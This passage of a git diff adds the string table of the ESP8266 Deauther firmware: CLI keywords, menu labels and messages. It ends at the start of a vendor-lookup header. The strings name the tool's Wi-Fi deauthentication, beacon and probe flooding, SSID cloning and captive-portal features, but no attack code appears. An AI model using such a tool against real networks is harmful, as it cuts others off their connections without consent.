+extern void prntln(const char* ptr); +extern void prntln(int i); + +/* + The following variables are the strings used for the serial interface, display interface and settings. + The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time: + - every keyword has a unique string + - / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled' + - , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s' + - everything is in lowercase + */ + +// ===== GLOBAL STRINGS ===== // + +// Often used characters, therefor in the RAM +const char CURSOR = '|'; +const char SPACE = ' '; +const char DOUBLEPOINT = ':'; +const char EQUALS = '='; +const char HASHSIGN = '#'; +const char ASTERIX = '*'; +const char PERCENT = '%'; +const char DASH = '-'; +const char QUESTIONMARK = '?'; +const char ZERO = '0'; +const char S = 's'; +const char M = 'm'; +const char D = 'd'; +const char DOUBLEQUOTES = '\"'; +const char SLASH = '/'; +const char NEWLINE = '\n'; +const char CARRIAGERETURN = '\r'; +const char SEMICOLON = ';'; +const char BACKSLASH = '\\'; +const char POINT = '.'; +const char VERTICALBAR = '|'; +const char COMMA = ','; +const char ENDOFLINE = '\0'; +const char OPEN_BRACKET = '['; +const char CLOSE_BRACKET = ']'; +const char OPEN_CURLY_BRACKET = '{'; +const char CLOSE_CURLY_BRACKET = '}'; + +const char STR_TRUE[] PROGMEM = "true"; +const char STR_FALSE[] PROGMEM = "false"; +const char STR_MIN[] PROGMEM = "min"; + +// ===== SETUP ===== // +const char SETUP_OK[] PROGMEM = "OK"; +const char SETUP_ERROR[] PROGMEM = "ERROR"; +const char SETUP_MOUNT_SPIFFS[] PROGMEM = "Mounting SPIFFS..."; +const char SETUP_FORMAT_SPIFFS[] PROGMEM = "Formatting SPIFFS..."; +const char SETUP_SERIAL_WARNING[] PROGMEM = "Warning: Serial deactivated"; +const char SETUP_STARTED[] PROGMEM = "STARTED! \\o/"; +const char SETUP_COPYING[] PROGMEM = "Copying "; +const char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = " from PROGMEM to SPIFFS..."; + +// ===== SERIAL COMMAND LINE INTERFACE ===== // +const char CLI_SCAN[] PROGMEM = "scan"; // scan +const char CLI_REBOOT[] PROGMEM = "reboot"; // reboot +const char CLI_STATUS[] PROGMEM = "status"; // status +const char CLI_SHOW[] PROGMEM = "show"; // show +const char CLI_REMOVE[] PROGMEM = "remove"; // remove +const char CLI_SET[] PROGMEM = "set"; // set +const char CLI_STOP[] PROGMEM = "stop"; // stop +const char CLI_LOAD[] PROGMEM = "load"; // load +const char CLI_SAVE[] PROGMEM = "save"; // save +const char CLI_ADD[] PROGMEM = "add"; // add +const char CLI_DESELECT[] PROGMEM = "deselect"; // deselect +const char CLI_CLEAR[] PROGMEM = "clear"; // clear +const char CLI_SYSINFO[] PROGMEM = "sysinfo"; // sysinfo +const char CLI_RESET[] PROGMEM = "reset"; // reset +const char CLI_ON[] PROGMEM = "on"; // on +const char CLI_OFF[] PROGMEM = "off"; // off +const char CLI_RANDOM[] PROGMEM = "random"; // random +const char CLI_GET[] PROGMEM = "get"; // get +const char CLI_INFO[] PROGMEM = "info"; // info +const char CLI_HELP[] PROGMEM = "help"; // help +const char CLI_RICE[] PROGMEM = "rice"; // rice +const char CLI_FORMAT[] PROGMEM = "format"; // format +const char CLI_DELETE[] PROGMEM = "delete"; // delete +const char CLI_PRINT[] PROGMEM = "print"; // print +const char CLI_RUN[] PROGMEM = "run"; // run +const char CLI_WRITE[] PROGMEM = "write"; // write +const char CLI_LED[] PROGMEM = "led"; // led +const char CLI_SEND[] PROGMEM = "send"; // send +const char CLI_CUSTOM[] PROGMEM = "custom"; // custom +const char CLI_DELAY[] PROGMEM = "delay"; // delay +const char CLI_REPLACE[] PROGMEM = "replace"; // replace +const char CLI_DRAW[] PROGMEM = "draw"; // draw +const char CLI_SCRIPT[] PROGMEM = "script"; // script +const char CLI_STARTAP[] PROGMEM = "startap"; // startap +const char CLI_STOPAP[] PROGMEM = "stopap"; // stopap +const char CLI_RENAME[] PROGMEM = "rename"; // rename +const char CLI_COPY[] PROGMEM = "copy"; // copy +const char CLI_ENABLE[] PROGMEM = "enable/d"; // enable, enabled +const char CLI_DISABLE[] PROGMEM = "disable/d"; // disable, disabled +const char CLI_WPA2[] PROGMEM = "wpa/2,-wpa/2"; // wpa, wpa2, -wpa, -wpa2 +const char CLI_ATTACK[] PROGMEM = "attack/s"; // attack, attacks +const char CLI_CHICKEN[] PROGMEM = "chicken/s"; // chicken, chickens +const char CLI_SETTING[] PROGMEM = "setting/s"; // setting, settings +const char CLI_ID[] PROGMEM = "id,-i/d"; // id, -i, -id +const char CLI_ALL[] PROGMEM = "all,-a"; // all, -a +const char CLI_TIME[] PROGMEM = "time,-t"; // time, -t +const char CLI_CONTINUE[] PROGMEM = "continue,-c"; // continue, -c +const char CLI_CHANNEL[] PROGMEM = "channel,-ch"; // channel, -ch +const char CLI_MAC[] PROGMEM = "mac,-m"; // mac, -m +const char CLI_BSSID[] PROGMEM = "bssid,-b"; // bssid, -b +const char CLI_BEACON[] PROGMEM = "beacon,-b"; // bssid, -b +const char CLI_DEAUTH[] PROGMEM = "deauth,-d"; // deauth, -d +const char CLI_DEAUTHALL[] PROGMEM = "deauthall,-da"; // deauthall, -da +const char CLI_PROBE[] PROGMEM = "probe,-p"; // probe, -p +const char CLI_NOOUTPUT[] PROGMEM = "nooutput,-no"; // nooutput, -no +const char CLI_FORCE[] PROGMEM = "force,-f"; // force, -f +const char CLI_TIMEOUT[] PROGMEM = "timeout,-t"; // timeout, -t +const char CLI_WIFI[] PROGMEM = "wifi,-w"; // wifi, -w +const char CLI_CLONES[] PROGMEM = "clones,-cl"; // clones, -cl +const char CLI_PATH[] PROGMEM = "path,-p"; // path, -p +const char CLI_PASSWORD[] PROGMEM = "password,-ps/wd"; // password, -ps, -pswd +const char CLI_HIDDEN[] PROGMEM = "hidden,-h"; // hidden, -h +const char CLI_CAPTIVEPORTAL[] PROGMEM = "captiveportal,-cp"; // captiveportal, -cp +const char CLI_SELECT[] PROGMEM = "select/ed,-s"; // select, selected, -s +const char CLI_SSID[] PROGMEM = "ssid/s,-s/s"; // ssid, ssids, -s, -ss +const char CLI_AP[] PROGMEM = "ap/s,-ap/s"; // ap, aps, -ap, -aps +const char CLI_STATION[] PROGMEM = "station/s,-st"; // station, stations, -st +const char CLI_NAME[] PROGMEM = "name/s,-n"; // name, names, -n +const char CLI_LINE[] PROGMEM = "line/s,-l"; // line, lines, -l +const char CLI_COMMENT[] PROGMEM = "//"; // // +const char CLI_SCREEN[] PROGMEM = "screen"; // screen +const char CLI_MODE[] PROGMEM = "mode,-m"; // mode +const char CLI_MODE_BUTTONTEST[] PROGMEM = "buttontest"; // buttontest +const char CLI_MODE_PACKETMONITOR[] PROGMEM = "packetmonitor"; // packetmonitor +const char CLI_MODE_LOADINGSCREEN[] PROGMEM = "loadingscreen"; // loading +const char CLI_MODE_MENU[] PROGMEM = "menu"; // menu + +const char CLI_HELP_HELP[] PROGMEM = "help"; +const char CLI_HELP_SCAN[] PROGMEM = "scan [] [-t "; + +const char CLI_INPUT_PREFIX[] PROGMEM = "# "; +const char CLI_SERIAL_ENABLED[] PROGMEM = "Serial interface enabled"; +const char CLI_SERIAL_DISABLED[] PROGMEM = "Serial interface disabled"; +const char CLI_ERROR[] PROGMEM = "ERROR: "; +const char CLI_ERROR_PARAMETER[] PROGMEM = "Error Invalid parameter \""; +const char CLI_STOPPED_SCRIPT[] PROGMEM = "Cleared CLI command queue"; +const char CLI_CONTINUOUSLY[] PROGMEM = "continuously"; +const char CLI_EXECUTING[] PROGMEM = "Executing "; +const char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = "Done executing script - type 'stop script' to end the continuous mode"; +const char CLI_SCRIPT_DONE[] PROGMEM = "Done executing script"; +const char CLI_HELP_HEADER[] PROGMEM = "[===== List of commands =====]"; +const char CLI_HELP_FOOTER[] PROGMEM = "========================================================================\r\nfor more information please visit github.com/spacehuhn/esp8266_deauther\r\n========================================================================"; +const char CLI_ERROR_NAME_LEN[] PROGMEM = "ERROR : Name length 0"; +const char CLI_ERROR_MAC_LEN[] PROGMEM = "ERROR : MAC length 0"; +const char CLI_RICE_START[] PROGMEM = "Starting rice debugger (auto - repair mode enabled), please stand by...\r\nKeep the device connected to a power supply until the debugger ends\r\nYOU RISK TO BRICK THE BOARD!!!"; +const char CLI_RICE_OUTPUT[] PROGMEM = "[ % d % % ]\r\n"; +const char CLI_RICE_ERROR[] PROGMEM = "ERROR : Memory check failure at block 0x"; +const char CLI_RICE_MEM[] PROGMEM = "Checking memory block 0x"; +const char CLI_CHICKEN_OUTPUT[] PROGMEM = " ` - : /////////:-. \r\n" +" ./++so:` `` `.:/++/. \r\n" +" `/+o+.+o:.s:-++//s` `:++- \r\n" +" `/+oo+//d- oh/ s- :o/` \r\n" +" .++.o+` `h- .d. h`://+` .o+ \r\n" +" .o+` +/ +o y- +d+. .y .s- \r\n" +" +o` h d` `/ .h- `h ++ \r\n" +" .s- d - .` +/ /o \r\n" +" :o` y. -y /+ \r\n" +" /+ :o ` -h` s: \r\n" +" /o y..://///////:` /o/o. `h \r\n" +" -s +o:`` `-++::/+- `o/ o: \r\n" +" y. :o `:::.` `oo` -s \r\n" +" -s h` .++:---/+/+/:::++. `h \r\n" +" +/ h :o` ` `/s ` .s- d \r\n" +" o: .s h` /h- o:/h- -s `h \r\n" +" +/ +/ h` `` s- ` +/ -s \r\n" +" .y `h` -s- `+y-.`.:+/ +: \r\n" +" o: o: `/+/:/+ss:.-:y/.` `h` \r\n" +" .:-` `y- ++ `so::-://+y. +/ \r\n" +" :o.-/+: :+//:` `s: `+/ -h//:::---:/o- -y \r\n" +" :o `:o:h. `-+/` -d+.:o- .y.``...-/y/++` `y. \r\n" +" +/ `:hs -o- o/:/yo:-` +y++s//+/. `s. \r\n" +" /o` `oo` `/+` .-:y/-`+:+so+/:-` s- y: -s. \r\n" +" ++//+y: -+ .o: ``-:/+:-.`.:+/:hs+`++:/o/:.` `h .y` /o` \r\n" +"`h` `./ys- :o- .--:////:-.` `-/o/::.`/sh-:os/:.` .y oo`+/ -o: \r\n" +" :o- `-o+. `/+o/:-..` `.:+++o/``/:-oo++/:.so+://` `:+/` \r\n" +" `/+:` .. `++` `.-/+/:-/sy.`+o:+y/-. .-/+-` \r\n" +" `-+/- .- `.:/o+:-:.```-:oy/:://:-` \r\n" +" .:+/. `.-:/+/::s/-..` \r\n" +" .++. `.-h. \r\n" +" .o/ +/ \r\n" +" :o. :o \r\n" +" .o: -s \r\n" +" /o` :+ \r\n" +" -o- o: \r\n" +" `o/ h` \r\n" +" :o. -s \r\n" +" .o: y. \r\n" +" /o. /+ \r\n" +" .+/` -s \r\n" +" -+/. .s` \r\n" +" ./+/.` -s` \r\n" +" .:/+:.` /o` \r\n" +" .:/o/.` .o: \r\n" +" o/:/+/.` .++` \r\n" +" -s `:/+:` `:+/` \r\n" +" ++` -+o-` `-++- \r\n" +" :s/::/+//::+/---/+/:` \r\n" +" +/s:` `-h-s- \r\n" +" +/s- `y y. \r\n" +" +/y. `y h` \r\n" +" //s:` `y d \r\n" +" +/-:/++/-` `y h-` \r\n" +" y:hs-ysosss..y --/+++/-` \r\n" +" ds:`s:o+`-:`o:oos./h++osoo` \r\n" +" :: o+++ h:y `o+.s:`.:: \r\n" +" -+- -/` :s.++ \r\n" +" `/+- "; +const char CLI_SYSTEM_INFO[] PROGMEM = "[======== SYSTEM INFO ========]"; +const char CLI_SYSTEM_OUTPUT[] PROGMEM = "RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n"; +const char CLI_SYSTEM_AP_MAC[] PROGMEM = "AP MAC address: "; +const char CLI_SYSTEM_ST_MAC[] PROGMEM = "Station MAC address: "; +const char CLI_SYSTEM_RAM_OUT[] PROGMEM = "SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n"; +const char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = " block size %u bytes, page size %u bytes\r\n"; +const char CLI_FILES[] PROGMEM = "Files: "; +const char CLI_BYTES[] PROGMEM = " bytes"; +const char CLI_SYSTEM_FOOTER[] PROGMEM = "==============================="; +const char CLI_FORMATTING_SPIFFS[] PROGMEM = "Formatting SPIFFS..."; +const char CLI_REMOVED[] PROGMEM = "Removed "; +const char CLI_ERROR_REMOVING[] PROGMEM = "ERROR: removing "; +const char CLI_REMOVING_LINES[] PROGMEM = "Removed lines "; +const char CLI_COPIED_FILES[] PROGMEM = "Copied file"; +const char CLI_ERROR_COPYING[] PROGMEM = "ERROR: Copying file"; +const char CLI_RENAMED_FILE[] PROGMEM = "Renamed file"; +const char CLI_ERROR_RENAMING_FILE[] PROGMEM = "ERROR: Renaming file"; +const char CLI_WRITTEN[] PROGMEM = "Written \""; +const char CLI_TO[] PROGMEM = "\" to "; +const char CLI_REPLACED_LINE[] PROGMEM = "Replaced line "; +const char CLI_WITH[] PROGMEM = " with "; +const char CLI_ERROR_REPLACING_LINE[] PROGMEM = "ERROR: replacing line in "; +const char CLI_INFO_HEADER[] PROGMEM = "===================================================================================="; +const char CLI_INFO_SOFTWARE[] PROGMEM = "ESP8266 Deauther "; +const char CLI_INFO_COPYRIGHT[] PROGMEM = "2018 (c) Stefan Kremser"; +const char CLI_INFO_LICENSE[] PROGMEM = "This software is licensed under the MIT License."; +const char CLI_INFO_ADDON[] PROGMEM = "For more information please visit github.com/spacehuhn/esp8266_deauther"; +const char CLI_DEAUTHING[] PROGMEM = "Deauthing "; +const char CLI_ARROW[] PROGMEM = " -> "; +const char CLI_SENDING_BEACON[] PROGMEM = "Sending Beacon \""; +const char CLI_SENDING_PROBE[] PROGMEM = "Sending Probe \""; +const char CLI_CUSTOM_SENT[] PROGMEM = "Sent out custom packet"; +const char CLI_CUSTOM_FAILED[] PROGMEM = "Sending custom packet failed"; +const char CLI_DRAW_OUTPUT[] PROGMEM = "%+4u"; +const char CLI_ERROR_NOT_FOUND_A[] PROGMEM = "ERROR: command \""; +const char CLI_ERROR_NOT_FOUND_B[] PROGMEM = "\" not found :("; +const char CLI_SYSTEM_CHANNEL[] PROGMEM = "Current WiFi channel: "; +const char CLI_CHANGED_SCREEN[] PROGMEM = "Changed screen mode"; +const char CLI_DEFAULT_AUTOSTART[] PROGMEM = "scan -t 5s\nsysinfo\n"; +const char CLI_RESUMED[] PROGMEM = "Command Line resumed"; + +// ===== DISPLAY ===== // + +// DEBUG MESSAGES +const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled"; +const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off"; +const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on"; + +// LOADING SCREEN +const char DSP_SCAN_FOR[] PROGMEM = "Scan for"; +const char DSP_APS[] PROGMEM = "APs"; +const char DSP_STS[] PROGMEM = "STs"; +const char DSP_PKTS[] PROGMEM = "Pkts"; +const char DSP_S[] PROGMEM = "/s"; +const char DSP_SCAN_DONE[] PROGMEM = "Done"; + +// ALL MENUS +const char D_BACK[] PROGMEM = "[BACK]"; +const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL"; +const char D_SELECT[] PROGMEM = "SELECT"; +const char D_DESELECT[] PROGMEM = "DESELECT"; +const char D_REMOVE[] PROGMEM = "REMOVE"; +const char D_SELECT_ALL[] PROGMEM = "SELECT ALL"; +const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL"; +const char D_CLONE[] PROGMEM = "CLONE SSID"; +const char D_LED[] PROGMEM = "LED"; + +// BUTTON TEST +const char D_UP[] PROGMEM = "UP:"; +const char D_DOWN[] PROGMEM = "DOWN:"; +const char D_LEFT[] PROGMEM = "LEFT:"; +const char D_RIGHT[] PROGMEM = "RIGHT:"; +const char D_B[] PROGMEM = "A:"; +const char D_A[] PROGMEM = "B:"; + +// MAIN MENU +const char D_SCAN[] PROGMEM = "SCAN"; +const char D_SHOW[] PROGMEM = "SELECT"; +const char D_ATTACK[] PROGMEM = "ATTACK"; +const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR"; +const char D_CLOCK[] PROGMEM = "CLOCK"; + +// SCAN MENU +const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST"; +const char D_SCAN_AP[] PROGMEM = "SCAN APs"; +const char D_SCAN_ST[] PROGMEM = "SCAN Stations"; + +// SHOW MENU +const char D_ACCESSPOINTS[] PROGMEM = "APs "; +const char D_STATIONS[] PROGMEM = "Stations "; +const char D_NAMES[] PROGMEM = "Names "; +const char D_SSIDS[] PROGMEM = "SSIDs "; + +// SSID LIST MENU +const char D_CLONE_APS[] PROGMEM = "CLONE APs"; +const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE"; + +// ATTACK MENU +const char D_DEAUTH[] PROGMEM = "DEAUTH"; +const char D_BEACON[] PROGMEM = "BEACON"; +const char D_PROBE[] PROGMEM = "PROBE"; +const char D_START_ATTACK[] PROGMEM = "START"; +const char D_STOP_ATTACK[] PROGMEM = "STOP"; + +// SUB MENUS +const char D_ENCRYPTION[] PROGMEM = "Encryption:"; +const char D_RSSI[] PROGMEM = "RSSI:"; +const char D_CHANNEL[] PROGMEM = "Channel:"; +const char D_CH[] PROGMEM = "Ch"; +const char D_VENDOR[] PROGMEM = "Vendor:"; +const char D_AP[] PROGMEM = "AP:"; +const char D_PKTS[] PROGMEM = "pkts"; +const char D_SEEN[] PROGMEM = "Seen:"; + +// ===== STATIONS ===== // +const char ST_CLEARED_LIST[] PROGMEM = "Cleared station list"; +const char ST_REMOVED_STATION[] PROGMEM = "Removed station "; +const char ST_LIST_EMPTY[] PROGMEM = "Station list is empty :("; +const char ST_HEADER[] PROGMEM = "[===== Stations =====]"; +const char ST_NO_DEVICES_SELECTED[] PROGMEM = "No devices selected"; +const char ST_TABLE_HEADER[] PROGMEM = "ID MAC Ch Name Vendor Pkts AP Last Seen Selected"; +const char ST_TABLE_DIVIDER[] PROGMEM = "=============================================================================================================="; +const char ST_SMALLER_ONESEC[] PROGMEM = "<1sec"; +const char ST_SMALLER_ONEMIN[] PROGMEM = "<1min"; +const char ST_BIGER_ONEHOUR[] PROGMEM = ">1h"; +const char ST_SELECTED_STATION[] PROGMEM = "Selected station "; +const char ST_DESELECTED_STATION[] PROGMEM = "Deselected station "; +const char ST_ERROR_ID[] PROGMEM = "ERROR: No station found with ID "; +const char ST_SELECTED_ALL[] PROGMEM = "Selected all stations"; +const char ST_DESELECTED_ALL[] PROGMEM = "Deselected all stations"; + +// ===== SETTINGS ===== // +const char S_SETTINGS[] PROGMEM = "settings"; +const char S_BEACONCHANNEL[] PROGMEM = "beaconchannel"; +const char S_FORCEPACKETS[] PROGMEM = "forcepackets"; +const char S_AUTOSAVE[] PROGMEM = "autosave"; +const char S_LANG[] PROGMEM = "lang"; +const char S_SERIALINTERFACE[] PROGMEM = "serial"; +const char S_DISPLAYINTERFACE[] PROGMEM = "display"; +const char S_WEBINTERFACE[] PROGMEM = "web/interface"; +const char S_AUTOSAVETIME[] PROGMEM = "autosavetime"; +const char S_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget"; +const char S_CHTIME[] PROGMEM = "chtime"; +const char S_DEAUTHREASON[] PROGMEM = "deauthReason"; +const char S_MACST[] PROGMEM = "macSt"; +const char S_MACAP[] PROGMEM = "macAP"; +const char S_RANDOMTX[] PROGMEM = "randomTX"; +const char S_ATTACKTIMEOUT[] PROGMEM = "attacktimeout"; +const char S_LEDENABLED[] PROGMEM = "led/Enabled"; +const char S_PROBESPERSSID[] PROGMEM = "probesPerSSID"; +const char S_BEACONINTERVAL[] PROGMEM = "beaconInterval"; +const char S_VERSION[] PROGMEM = "version"; +const char S_CHANNEL[] PROGMEM = "channel"; +const char S_CAPTIVEPORTAL[] PROGMEM = "captivePortal"; +const char S_HIDDEN[] PROGMEM = "hidden"; +const char S_PASSWORD[] PROGMEM = "password"; +const char S_SSID[] PROGMEM = "ssid"; +const char S_MAC[] PROGMEM = "mac"; +const char S_MIN_DEAUTHS[] PROGMEM = "minDeauths"; +const char S_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout"; +const char S_SERIAL_ECHO[] PROGMEM = "serialEcho"; +const char S_WEB_SPIFFS[] PROGMEM = "webSpiffs"; + +const char S_SETTINGS_LOADED[] PROGMEM = "Settings loaded from "; +const char S_SETTINGS_RESETED[] PROGMEM = "Settings reseted"; +const char S_SETTINGS_SAVED[] PROGMEM = "Settings saved in "; +const char S_SETTINGS_HEADER[] PROGMEM = "[========== Settings ==========]"; +const char S_ERROR_VERSION[] PROGMEM = "Sorry, you can't change the version number"; +const char S_ERROR_NOT_FOUND[] PROGMEM = "ERROR: No setting found for "; +const char S_CHANGED_SETTING[] PROGMEM = "Changed setting "; +const char S_CHANNEL_CHANGE[] PROGMEM = "Switched to Channel "; +const char S_CHANNEL_ERROR[] PROGMEM = "ERROR: Channel must be between 1 and 14"; +const char S_ERROR_SSID_LEN[] PROGMEM = "ERROR: SSID must be between 1 and 32 characters"; +const char S_ERROR_PASSWORD_LEN[] PROGMEM = "ERROR: Password must be between 8 and 32 characters"; +const char S_RANDOM[] PROGMEM = "random"; + +// ===== ACCESS POINTS ===== // +const char AP_HEADER[] PROGMEM = "[===== Access Points =====]"; +const char AP_LIST_EMPTY[] PROGMEM = "AP list is empty :("; +const char AP_NO_AP_SELECTED[] PROGMEM = "No APs selected"; +const char AP_TABLE_HEADER[] PROGMEM = "ID SSID Name Ch RSSI Enc. Mac Vendor Selected"; +const char AP_TABLE_DIVIDER[] PROGMEM = "====================================================================================================="; +const char AP_HIDDEN[] PROGMEM = "*HIDDEN*"; +const char AP_WEP[] PROGMEM = "WEP"; +const char AP_WPA[] PROGMEM = "WPA"; +const char AP_WPA2[] PROGMEM = "WPA2"; +const char AP_AUTO[] PROGMEM = "WPA*"; +const char AP_SELECTED[] PROGMEM = "Selected access point "; +const char AP_DESELECTED[] PROGMEM = "Deselected access point "; +const char AP_REMOVED[] PROGMEM = "Removed access point "; +const char AP_SELECTED_ALL[] PROGMEM = "Selected all APs"; +const char AP_DESELECTED_ALL[] PROGMEM = "Deselected all APs"; +const char AP_REMOVED_ALL[] PROGMEM = "Removed all APs"; +const char AP_NO_AP_ERROR[] PROGMEM = "ERROR: No AP found with ID "; + +// ===== ATTACKS ===== // +const char A_START[] PROGMEM = "Start attacking"; +const char A_NO_MODE_ERROR[] PROGMEM = "WARNING: No valid attack mode set"; +const char A_STOP[] PROGMEM = "Stopped attacking"; +const char A_TIMEOUT[] PROGMEM = "Timeout - "; +const char A_STATUS[] PROGMEM = "[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\r\n"; +const char A_ENABLED_OUTPUT[] PROGMEM = "Enabled attack output"; +const char A_DISABLED_OUTPUT[] PROGMEM = "Disabled attack output"; + +// ===== LED ===== // +const char L_ENABLED[] PROGMEM = "Enabled LED updates"; +const char L_DISABLED[] PROGMEM = "Disabled LED updates"; +const char L_OUTPUT[] PROGMEM = "LED = (%u,%u,%u)"; +const char L_NOT_CONFIGURED[] PROGMEM = "ERROR: No LED is configured in A_config.h!"; + +// ===== NAMES ===== // +const char N_SAVED[] PROGMEM = "Device names saved in "; +const char N_LOADED[] PROGMEM = "Device names loaded from "; +const char N_REMOVED_ALL[] PROGMEM = "Removed all saved device names"; +const char N_HEADER[] PROGMEM = "[===== Saved Devices =====]"; +const char N_TABLE_HEADER[] PROGMEM = "ID MAC Vendor Name AP-BSSID Ch Selected"; +const char N_TABLE_DIVIDER[] PROGMEM = "============================================================================"; +const char N_ERROR_LIST_EMPTY[] PROGMEM = "Device name list is empty :("; +const char N_ERROR_NO_SELECTED[] PROGMEM = "No devices selected"; +const char N_ERROR_LIST_FULL[] PROGMEM = "ERROR: Name list is full!"; +const char N_ADDED[] PROGMEM = "Added to device name list "; +const char N_REPLACED[] PROGMEM = "Replaced device name list "; +const char N_REMOVED[] PROGMEM = "Removed from the device name list "; +const char N_CHANGED_NAME[] PROGMEM = "Changed device name"; +const char N_CHANGED_MAC[] PROGMEM = "Changed device mac"; +const char N_CHANGED_BSSID[] PROGMEM = "Changed device AP-BSSID"; +const char N_CHANGED_CH[] PROGMEM = "Changed device channel"; +const char N_SELECTED[] PROGMEM = "Selected device "; +const char N_ERROR_NOT_FOUND[] PROGMEM = "No device found with name "; +const char N_DESELECTED[] PROGMEM = "Deselected device "; +const char N_SELECTED_ALL[] PROGMEM = "Selected all device names"; +const char N_DESELECTED_ALL[] PROGMEM = "Deselected all device names"; + +// ===== SSIDs ===== // +const char SS_LOADED[] PROGMEM = "SSIDs loaded from "; +const char SS_CLEARED[] PROGMEM = "Cleared SSID list"; +const char SS_SAVED[] PROGMEM = "SSIDs saved"; +const char SS_SAVED_IN[] PROGMEM = "SSIDs saved in "; +const char SS_REMOVED[] PROGMEM = "Removed SSID "; +const char SS_ERROR_FULL[] PROGMEM = + "ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter."; +const char SS_ADDED[] PROGMEM = "Added SSID "; +const char SS_REPLACED[] PROGMEM = "Replaced SSID "; +const char SS_TABLE_HEADER[] PROGMEM = "ID Enc. SSID"; +const char SS_TABLE_DIVIDER[] PROGMEM = "========================================="; +const char SS_HEADER[] PROGMEM = "[===== SSIDs =====]"; +const char SS_ERROR_EMPTY[] PROGMEM = "SSID list is empty :("; +const char SS_RANDOM_ENABLED[] PROGMEM = "SSID random mode enabled"; +const char SS_RANDOM_DISABLED[] PROGMEM = "SSID random mode deactivated"; +const char SS_JSON_SSIDS[] PROGMEM = "ssids"; +const char SS_JSON_RANDOM[] PROGMEM = "random"; +const char SS_JSON_DEFAULT[] PROGMEM = "{\"random\":false,\"ssids\":[[\"Never gonna give you up\",false,23],[\"Never gonna let you down\",false,24],[\"Never gonna run around\",false,22],[\"Never gonna make you cry\",false,24],[\"Never gonna say goodbye\",false,23],[\"Never gonna tell a lie\",false,22],[\"Never gonna hurt you\",false,20],[\"Never gonna desert you\",false,22]]}"; +const char SS_RANDOM_INFO[] PROGMEM = "Generating new SSIDs... Type \"disable random\" to stop the random mode"; + +// ===== SCAN ==== // +const char SC_START_CLIENT[] PROGMEM = "Starting Scan for stations (client devices) - "; +const char SS_START_SNIFFER[] PROGMEM = "Starting packet sniffer - "; +const char SC_ERROR_NO_AP[] PROGMEM = + "ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first."; +const char SC_INFINITELY[] PROGMEM = " infinitely"; +const char SC_ON_CHANNEL[] PROGMEM = " on channel "; +const char SC_START_AP[] PROGMEM = "Starting scan for access points (Wi-Fi networks)..."; +const char SC_ONE_TO[] PROGMEM = "1 - "; +const char SC_STOPPED[] PROGMEM = "Stopped scan"; +const char SC_RESTRAT[] PROGMEM = "Scan will restart in "; +const char SC_CONTINUE[] PROGMEM = "s - type stop to disable the continuous mode"; +const char SC_RESTART[] PROGMEM = "restarting in "; +const char SC_ERROR_MODE[] PROGMEM = "ERROR: Invalid scan mode "; +const char SC_OUTPUT_A[] PROGMEM = "Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\r\n"; +const char SC_OUTPUT_B[] PROGMEM = "Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\r\n"; +const char SC_JSON_APS[] PROGMEM = "aps"; +const char SC_JSON_STATIONS[] PROGMEM = "stations"; +const char SC_JSON_NAMES[] PROGMEM = "names"; +const char SC_SAVED[] PROGMEM = "Saved scan results"; +const char SC_SAVED_IN[] PROGMEM = "Scan results saved in "; +const char SC_MODE_OFF[] PROGMEM = "-"; +const char SC_MODE_AP[] PROGMEM = "APs"; +const char SC_MODE_ST[] PROGMEM = "STs"; +const char SC_MODE_ALL[] PROGMEM = "AP+ST"; +const char SC_MODE_SNIFFER[] PROGMEM = "Sniffer"; + +// ===== FUNCTIONS ===== // +const char F_ERROR_MAC[] PROGMEM = "ERROR: MAC address invalid"; +const char F_COLOR_INVALID[] PROGMEM = "ERROR: Color code invalid"; +const char F_ERROR_READING_FILE[] PROGMEM = "ERROR: reading file "; +const char F_LINE[] PROGMEM = "[%d] "; +const char F_ERROR_FILE[] PROGMEM = "ERROR: File doesn't exist "; +const char F_ERROR_OPEN[] PROGMEM = "ERROR couldn't open "; +const char F_ERROR_PARSING_JSON[] PROGMEM = "ERROR parsing JSON "; +const char F_ERROR_TO_BIG[] PROGMEM = "ERROR file too big "; +const char F_TMP[] PROGMEM = "/tmp"; +const char F_COPY[] PROGMEM = "_copy"; +const char F_ERROR_SAVING[] PROGMEM = "ERROR: saving file. Try 'format' and restart - "; + +// ===== WIFI ===== // +const char W_STOPPED_AP[] PROGMEM = "Stopped Access Point"; +const char W_AP_REQUEST[] PROGMEM = "[AP] request: "; +const char W_AP[] PROGMEM = "AP"; +const char W_STATION[] PROGMEM = "Station"; +const char W_MODE_OFF[] PROGMEM = "OFF"; +const char W_MODE_AP[] PROGMEM = "AP"; +const char W_MODE_ST[] PROGMEM = "STATION"; +const char W_OK[] PROGMEM = " OK"; +const char W_NOT_FOUND[] PROGMEM = " NOT FOUND"; +const char W_BAD_ARGS[] PROGMEM = "BAD ARGS"; +const char W_BAD_PATH[] PROGMEM = "BAD PATH"; +const char W_FILE_NOT_FOUND[] PROGMEM = "ERROR 404 File Not Found"; +const char W_STARTED_AP[] PROGMEM = "Started AP"; + +#endif // ifndef language_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/oui.h b/enp8266/esp8266_deauther-master/esp8266_deauther/oui.h new file mode 100755 index 0000000..29391d5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/oui.h @@ -0,0 +1,39802 @@ +#ifndef oui_h +#define oui_h +/* + 